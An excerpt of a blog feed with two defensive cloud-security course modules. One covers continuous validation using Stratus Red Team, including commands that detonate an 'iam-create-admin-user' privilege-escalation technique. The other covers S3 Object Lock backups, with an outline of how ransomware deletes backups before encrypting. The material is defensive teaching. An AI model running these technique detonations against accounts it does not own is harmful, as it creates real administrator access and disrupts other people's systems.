		<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/continuous-security-validation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>Run continuous security validation with MITRE ATT&#038;CK-mapped attack simulations against your own infrastructure, on a schedule, instead of once a year.</p>
<p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 6</em><br />
<a href="/ai-agents-secops-rag/">← Module 5: The Future of SecOps</a> · <strong>Module 6: Continuous Mastery</strong> · <a href="/cybersecurity-architecture-series/">All Masterclass Modules →</a></p>
<p><strong>10 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Continuous security validation means running real attack techniques against your own production-equivalent environment on a schedule, not once a year during a pentest</li>
<li><code class="" data-line="">stratus-red-team</code> and Atomic Red Team execute specific, mapped MITRE ATT&amp;CK techniques against live cloud infrastructure — the same IMDSv1 exploitation, IAM privilege escalation, and lateral-movement patterns covered earlier in this masterclass, but automated and repeatable</li>
<li>A validation run that never finds anything is either proof your controls work, or proof the simulation isn&#8217;t realistic enough — treat a clean run as a question, not a victory</li>
<li>Security culture is what determines whether a finding becomes a fixed control or a Jira ticket that ages out — validation without organizational follow-through is theater</li>
<li>The Feedback Loop closes the masterclass: every module (STRIDE, IAM hardening, immutable data, AI triage) becomes a control that continuous validation actually tests, instead of a design decision nobody revisits</li>
<li>This module doesn&#8217;t introduce new architecture — it&#8217;s the mechanism that proves Modules 1 through 5 are still true</li>
</ul>
<hr />
<h2 id="start-here-run-a-real-attack-technique-right-now">Start Here: Run a Real Attack Technique Right Now</h2>
<pre><code class="" data-line=""># Install Stratus Red Team — cloud-native attack technique simulator
$ brew install datadog/stratus-red-team/stratus-red-team

# List available techniques mapped to MITRE ATT&amp;CK
$ stratus list --platform aws | grep -i iam
aws.credential-access.ec2-get-password-data
aws.privilege-escalation.iam-create-admin-user
aws.persistence.iam-create-user-login-profile

# Warm up (provisions the exact vulnerable-by-default resources
# Module 3 covered), detonate the technique, then clean up
$ stratus warmup aws.privilege-escalation.iam-create-admin-user
$ stratus detonate aws.privilege-escalation.iam-create-admin-user
$ stratus cleanup aws.privilege-escalation.iam-create-admin-user
</code></pre>
<p>That third command actually creates an admin IAM user the way an attacker would after a privilege-escalation exploit — against your own account, on a schedule you control, so your detection pipeline either catches it or you now know precisely where the gap is. This is continuous security validation: the difference between assuming GuardDuty would catch this and knowing it does, because you just watched it happen.</p>
<hr />
<h2 id="why-an-annual-pentest-isnt-validation">Why an Annual Pentest Isn&#8217;t Validation</h2>
<p>A pentest is a snapshot, scoped to a window, executed by people who leave when the engagement ends. It tells you what was true for the systems in scope, on those specific days, against that specific team&#8217;s technique set. Everything this masterclass has covered — STRIDE-driven design changes (Module 2), IAM policy tightening (Module 3), WORM-locked backups (Module 4), AI-assisted triage (Module 5) — happens on a continuous basis, in a system that changes weekly. A control validated once in March and never tested again is a control you&#8217;re assuming still works in October.</p>
<p>Continuous security validation closes that gap by running the <em>same specific techniques</em> — not a generic scan, but named, MITRE ATT&amp;CK-mapped attack behaviors — on a recurring schedule, against infrastructure that mirrors production. The goal isn&#8217;t finding something new every time. Most runs should find nothing, because most runs are re-confirming a control that was already fixed. That&#8217;s the point: continuous validation is regression testing for security posture.</p>
<hr />
<h2 id="reading-a-clean-run-correctly">Reading a Clean Run Correctly</h2>
<p>A validation run that detonates a technique and triggers no alert is not automatically good news. It&#8217;s one of two things, and the difference matters:</p>
<pre><code class="" data-line=""> CLEAN RUN — TWO POSSIBLE EXPLANATIONS
 ───────────────────────────────────────────────────
 1. The control genuinely works.
    → GuardDuty/Tetragon/SIEM correctly detected and
      the alert pipeline correctly routed it — verify
      the alert actually fired and reached someone,
      not just that the technique &quot;should have&quot; tripped it.

 2. The simulation didn&#039;t actually exercise the real path.
    → Wrong region, wrong IAM role scope, a technique
      that&#039;s stale against current cloud provider APIs,
      or detection logic that&#039;s technically present but
      misconfigured for this specific technique variant.
</code></pre>
<p>Treat every clean run as a question — did the alert fire and get seen, or did nothing happen because nothing was really tested? Pulling the actual GuardDuty/SIEM record for the detonation timestamp and confirming a real alert exists, with the right severity, routed to the right channel, is the only way to tell these two outcomes apart. A validation program that only checks &#8220;did an incident occur&#8221; without checking &#8220;did the alert actually work&#8221; is measuring the wrong thing.</p>
<hr />
<h2 id="mapping-continuous-security-validation-back-to-the-masterclass">Mapping Continuous Security Validation Back to the Masterclass</h2>
<p>Continuous validation is most useful when it directly re-tests the specific controls this series built, not a generic attack library run for its own sake:</p>
<table>
<thead>
<tr>
<th style="text-align: left;">Module</th>
<th style="text-align: left;">Control Being Tested</th>
<th style="text-align: left;">Example Validation Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">M2 (STRIDE)</td>
<td style="text-align: left;">Trust boundary enforcement between services</td>
<td style="text-align: left;">Attempt lateral cross-service call that should be denied</td>
</tr>
<tr>
<td style="text-align: left;">M3 (Identity Perimeter)</td>
<td style="text-align: left;">IMDSv2 enforcement, IAM least privilege</td>
<td style="text-align: left;"><code class="" data-line="">aws.privilege-escalation.iam-create-admin-user</code>, IMDSv1 credential theft simulation</td>
</tr>
<tr>
<td style="text-align: left;">M4 (Immutable Data)</td>
<td style="text-align: left;">Object Lock Compliance mode holds under attempted deletion</td>
<td style="text-align: left;">Attempt to delete/modify a WORM-locked backup object with admin credentials</td>
</tr>
<tr>
<td style="text-align: left;">M5 (AI Triage)</td>
<td style="text-align: left;">RAG pipeline correctly retrieves and cites relevant evidence for a simulated alert</td>
<td style="text-align: left;">Inject a known-pattern alert, verify the drafted summary cites the correct runbook</td>
</tr>
</tbody>
</table>
<p>Running these specific, mapped checks on a schedule — weekly or per-deploy, not annually — is what separates continuous validation from a checklist audit. It&#8217;s also directly in the spirit of the <a href="https://linuxcent.com/what-is-purple-team-security/">attack-and-detect framing this site&#8217;s Purple Team series</a> uses throughout: red team technique, blue team detection, purple team is the discipline of running both together on purpose.</p>
<hr />
<h2 id="the-part-tooling-cant-fix-security-culture">The Part Tooling Can&#8217;t Fix: Security Culture</h2>
<p>A validation run that surfaces a real gap and produces a Jira ticket that sits untouched for two quarters has not improved anything — it&#8217;s produced evidence of a known, unfixed gap, which is a worse position than not knowing. Continuous validation only works inside an organization where a finding routes to an owner, gets prioritized against other engineering work honestly (this is Module 2&#8217;s DREAD scoring, applied to validation findings instead of design-time threats), and gets re-tested after the fix ships to confirm it actually closed.</p>
<p>The Feedback Loop that closes this masterclass is this: <strong>Threat Model (M2) → Harden (M3/M4) → Validate (M6) → feed validation findings back into the next threat model.</strong> A gap continuous validation finds isn&#8217;t just a bug to fix — it&#8217;s a signal that the original threat model missed something, and the next STRIDE pass on that system should account for it explicitly.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>Running attack simulations against shared/production environments without coordination causes real incidents.</strong> Detonating <code class="" data-line="">iam-create-admin-user</code> against a live account without warning your own SOC produces a real, confusing incident response — schedule and announce validation runs the same way you&#8217;d announce a game day exercise.</p>
<p><strong>Cleanup failures leave real vulnerable resources behind.</strong> <code class="" data-line="">stratus cleanup</code> can fail silently if a dependent resource was modified mid-run — verify cleanup completed, don&#8217;t assume the tool always tears down what it created.</p>
<p><strong>Technique libraries go stale as cloud provider APIs change.</strong> A technique written against an older IAM API surface may silently fail to actually reproduce the attack path — validate that a &#8220;no alert&#8221; result means the control held, not that the technique itself broke.</p>
<p><strong>Validation findings that don&#8217;t map to an owning team die in a backlog.</strong> Route every finding to the specific service/team whose control failed, the same way you&#8217;d route a production incident — a finding owned by &#8220;security team, generally&#8221; doesn&#8217;t get fixed.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">ID.IM-02</td>
<td style="text-align: left;">Improvements are identified from security tests and exercises, including continuous validation.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">Continuous validation is the operational proof that &#8220;continuous verification&#8221; (Module 1) is actually happening, not just designed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.29</td>
<td style="text-align: left;">Security testing in development and acceptance — extended here to continuous, production-equivalent testing.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC4.1</td>
<td style="text-align: left;">The entity selects, develops, and performs ongoing evaluations to ascertain whether controls are present and functioning.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Continuous security validation runs specific, MITRE ATT&amp;CK-mapped techniques against your own infrastructure on a schedule — not a once-a-year pentest</li>
<li>A clean run is ambiguous by default — confirm the alert actually fired and routed correctly, don&#8217;t assume the absence of an incident means the control worked</li>
<li>Map validation techniques directly back to the specific controls this masterclass built, not a generic attack library</li>
<li>Security culture — findings that route to an owner and get re-tested after the fix — is what makes validation matter; tooling alone doesn&#8217;t</li>
<li>The Feedback Loop is the masterclass&#8217;s actual conclusion: threat model, harden, validate, and feed what you learn back into the next threat model</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>That closes the six-module arc: from dismantling the castle-and-moat (Module 1), through systematic threat modeling (Module 2), hardening the cloud identity perimeter (Module 3), surviving ransomware with immutable data (Module 4), accelerating detection with AI (Module 5), to proving all of it actually holds (Module 6). The loop doesn&#8217;t end here — every validation finding is the start of the next threat model.</p>
<p>Get new masterclass content and future modules in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&#038;title=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" data-a2a-url="https://linuxcent.com/continuous-security-validation/" data-a2a-title="Continuous Security Validation: Proving Your Architecture Works"></a></p><p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/continuous-security-validation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2204</post-id>	</item>
		<item>
		<title>Immutable Data Architecture: Surviving Ransomware via WORM</title>
		<link>https://linuxcent.com/immutable-data-architecture-worm/</link>
					<comments>https://linuxcent.com/immutable-data-architecture-worm/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:31:48 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[Backup Security]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Data Resilience]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[S3 Object Lock]]></category>
		<category><![CDATA[WORM]]></category>
		<guid isPermaLink="false">https://linuxcent.com/immutable-data-architecture-worm/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>Build immutable data architecture that survives ransomware: WORM-locked, Compliance-mode backups an attacker with admin credentials still can't delete.</p>
<p>The post <a href="https://linuxcent.com/immutable-data-architecture-worm/">Immutable Data Architecture: Surviving Ransomware via WORM</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 4</em><br />
<a href="/cloud-native-hardening-aws-identity/">← Module 3: Cloud-Native Hardening</a> · <strong>Module 4: Resilience &amp; Survival</strong> · <a href="/ai-agents-secops-rag/">Module 5: The Future of SecOps →</a></p>
<p><strong>10 min read</strong></p>
<hr />
<h2 id="a-note-on-immutable-before-we-start">A Note on &#8220;Immutable&#8221; Before We Start</h2>
<p>This module and this site&#8217;s <a href="/what-is-immutable-os/">Immutable OS series</a> both use the word &#8220;immutable&#8221; and mean two different things. <strong>Immutable data architecture</strong> (this module) means specific objects — backups, audit logs, compliance records — cannot be altered or deleted for a defined period, even by an administrator. <strong>Immutable OS</strong> means the operating system&#8217;s own root filesystem can&#8217;t be mutated in place. They compose well together — an immutable OS keeps the <em>system</em> from drifting, WORM storage keeps your <em>backups</em> from being destroyed — but they solve different problems. This module is about the data.</p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Immutable data architecture ransomware defense means backups an attacker with full admin credentials still cannot encrypt, modify, or delete</li>
<li>WORM (Write Once, Read Many) storage enforces this at the storage layer, not through access control alone — even the AWS root account cannot bypass a properly configured Object Lock in Compliance mode</li>
<li>Ransomware&#8217;s actual target in a modern breach isn&#8217;t just your production data — it&#8217;s your backups, deleted first so restoration isn&#8217;t an option</li>
<li>S3 Object Lock has two modes: Governance (privileged users can override) and Compliance (nobody can, including AWS support) — know which one your recovery plan actually requires</li>
<li>Immutable backups turn a ransomware incident from an existential event into an operational one: restore from a known-good, unmodifiable snapshot</li>
<li>This is Module 1&#8217;s Availability pillar taken to its logical conclusion: resilience isn&#8217;t just uptime, it&#8217;s surviving an attacker who already has your credentials</li>
</ul>
<hr />
<h2 id="the-big-picture-why-ransomware-deletes-backups-first">The Big Picture: Why Ransomware Deletes Backups First</h2>
<pre><code class="" data-line="">MODERN RANSOMWARE PLAYBOOK
───────────────────────────
1. Gain admin credentials (phishing, leaked keys, supply chain)
2. Enumerate backup systems and snapshots
3. Delete or encrypt backups FIRST — before touching production
4. Encrypt production data
5. Demand ransom — restoration is now impossible without paying

THE ARCHITECTURAL COUNTER
───────────────────────────
1. Backups written to WORM storage (Object Lock: Compliance mode)
2. Retention period set — no identity, including root, can shorten it
3. Attacker gains admin credentials (step 1 above still happens)
4. Attacker tries to delete backups — API call is rejected, unconditionally
5. Production is encrypted, but a known-good, unmodifiable restore point exists
</code></pre>
<p>Immutable data architecture accepts a specific, well-documented pattern in modern ransomware: attackers now go after backups first, precisely because most organizations still assume &#8220;backups exist&#8221; is the same thing as &#8220;backups are recoverable.&#8221; The <a href="https://linuxcent.com/cloud-security-breaches-2020-2025/">breach history covered elsewhere on this site</a> makes clear this isn&#8217;t a hypothetical — it&#8217;s the standard playbook.</p>
<hr />
<h2 id="why-access-control-alone-doesnt-solve-this">Why Access Control Alone Doesn&#8217;t Solve This</h2>
<p>The instinctive fix is &#8220;restrict who can delete backups.&#8221; That helps, but it doesn&#8217;t solve the actual problem: modern ransomware doesn&#8217;t need to guess a password. It needs one set of valid, sufficiently-privileged credentials — a phished admin, a leaked access key, a compromised CI/CD pipeline with deploy permissions — and from there, it operates <em>as</em> an authorized user. Access control assumes the attacker isn&#8217;t already inside the trust boundary. Ransomware&#8217;s whole operating model is being inside it.</p>
<p>This is why the fix has to live below IAM, at the storage layer itself: a control that says no identity — not the backup admin, not the root account, not AWS support acting on your behalf — can shorten a retention period or delete a locked object before it expires.</p>
<hr />
<h2 id="immutable-data-architecture-in-practice-s3-object-lock-and-worm-storage">Immutable Data Architecture in Practice: S3 Object Lock and WORM Storage</h2>
<p>Write Once, Read Many storage is exactly what the name says: once written, an object can be read indefinitely but never modified or deleted until its retention period expires. AWS implements this via <strong>S3 Object Lock</strong>, with two distinct modes that most teams don&#8217;t realize are meaningfully different until the moment it matters:</p>
<pre><code class="" data-line=""> Mode          Who Can Override Before Retention Expires
 ────────────  ───────────────────────────────────────────
 Governance    Users with s3:BypassGovernanceRetention
                permission — a privileged escape hatch
 Compliance    Nobody. Not the bucket owner, not the root
                account, not AWS Support. The retention
                period is a hard floor.
</code></pre>
<pre><code class="" data-line=""># Enable Object Lock on bucket creation (cannot be added retroactively
# to an existing bucket — this has to be decided up front)
$ aws s3api create-bucket --bucket backup-vault-prod \
    --object-lock-enabled-for-bucket

# Set a default retention rule: 90 days, Compliance mode
$ aws s3api put-object-lock-configuration \
    --bucket backup-vault-prod \
    --object-lock-configuration &#039;{
        &quot;ObjectLockEnabled&quot;: &quot;Enabled&quot;,
        &quot;Rule&quot;: {
          &quot;DefaultRetention&quot;: {
            &quot;Mode&quot;: &quot;COMPLIANCE&quot;,
            &quot;Days&quot;: 90
          }
        }
      }&#039;

# Attempt to delete a locked object before retention expires — this fails
# even for the account root user
$ aws s3api delete-object --bucket backup-vault-prod --key snapshot-2026-06-01.tar.gz
An error occurred (AccessDenied) when calling the DeleteObject operation:
Object is WORM protected and cannot be overwritten or deleted.
</code></pre>
<p><strong>Governance mode is for internal discipline</strong> — preventing accidental deletion, satisfying a policy that &#8220;backups shouldn&#8217;t be casually removed.&#8221; <strong>Compliance mode is for surviving an attacker who has your admin credentials</strong> — because the whole point is that nobody, including someone who legitimately has <code class="" data-line="">s3:*</code>, can shorten it. If your ransomware recovery plan assumes Governance mode is enough, it isn&#8217;t: <code class="" data-line="">s3:BypassGovernanceRetention</code> is exactly the kind of permission an attacker with admin access already has.</p>
<hr />
<h2 id="what-this-actually-buys-you-in-an-incident">What This Actually Buys You in an Incident</h2>
<p>Immutable, WORM-locked backups don&#8217;t prevent a ransomware attack. Production still gets encrypted. What changes is what happens next: instead of a negotiation with an attacker who holds your only path back to a working system, recovery is an operational restore from a snapshot that provably cannot have been tampered with — because the storage layer itself refused every attempt to touch it, including from credentials the attacker had legitimately obtained.</p>
<p>This is Module 1&#8217;s Availability pillar in its most concrete form. &#8220;Multi-AZ deployments and automated failover&#8221; protects against infrastructure failure. Immutable backups protect against an adversary who is already inside your trust boundary and trying to remove your ability to recover — a threat model access control alone was never designed to survive.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>Object Lock must be enabled at bucket creation — it cannot be retroactively added to an existing bucket.</strong> If your current backup buckets don&#8217;t have it, the fix is a new bucket and a migration, not a configuration change.</p>
<p><strong>Compliance mode retention cannot be shortened or removed once set — including by you.</strong> Set the retention period deliberately; a 7-year Compliance-mode lock set by mistake is not reversible, and storage costs accrue for the full period regardless of whether you still need the data.</p>
<p><strong>Versioning must be enabled for Object Lock to work at all.</strong> Object Lock operates per-version, not per-key — if versioning is off, Object Lock configuration will fail or behave unexpectedly.</p>
<p><strong>WORM storage doesn&#8217;t protect data that was already encrypted before the backup ran.</strong> If ransomware encrypts production and <em>then</em> a scheduled backup captures the encrypted state, you now have an immutable copy of garbage. Backup frequency and immutable-copy retention need to overlap with realistic dwell-time assumptions — most ransomware sits undetected for days to weeks before triggering encryption.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">RC.RP-01</td>
<td style="text-align: left;">The recovery plan is executed during or after a cybersecurity incident — immutable backups are the precondition for this actually working.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">Storage-layer immutability assumes the identity layer is already compromised — a Zero Trust &#8220;assume breach&#8221; control, not a perimeter one.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.13</td>
<td style="text-align: left;">Information backup — backup copies must be protected from unauthorized access, modification, and deletion.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">A1.2</td>
<td style="text-align: left;">The entity authorizes, designs, and implements controls to meet its availability commitments.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Modern ransomware deletes backups before encrypting production — assume this is step one of any incident, not a worst case</li>
<li>Access control isn&#8217;t sufficient because ransomware operates with legitimately-obtained, sufficiently-privileged credentials</li>
<li>WORM storage enforces immutability at the storage layer, independent of identity — Compliance mode specifically survives an attacker with admin access</li>
<li>Object Lock must be planned before bucket creation and requires versioning enabled</li>
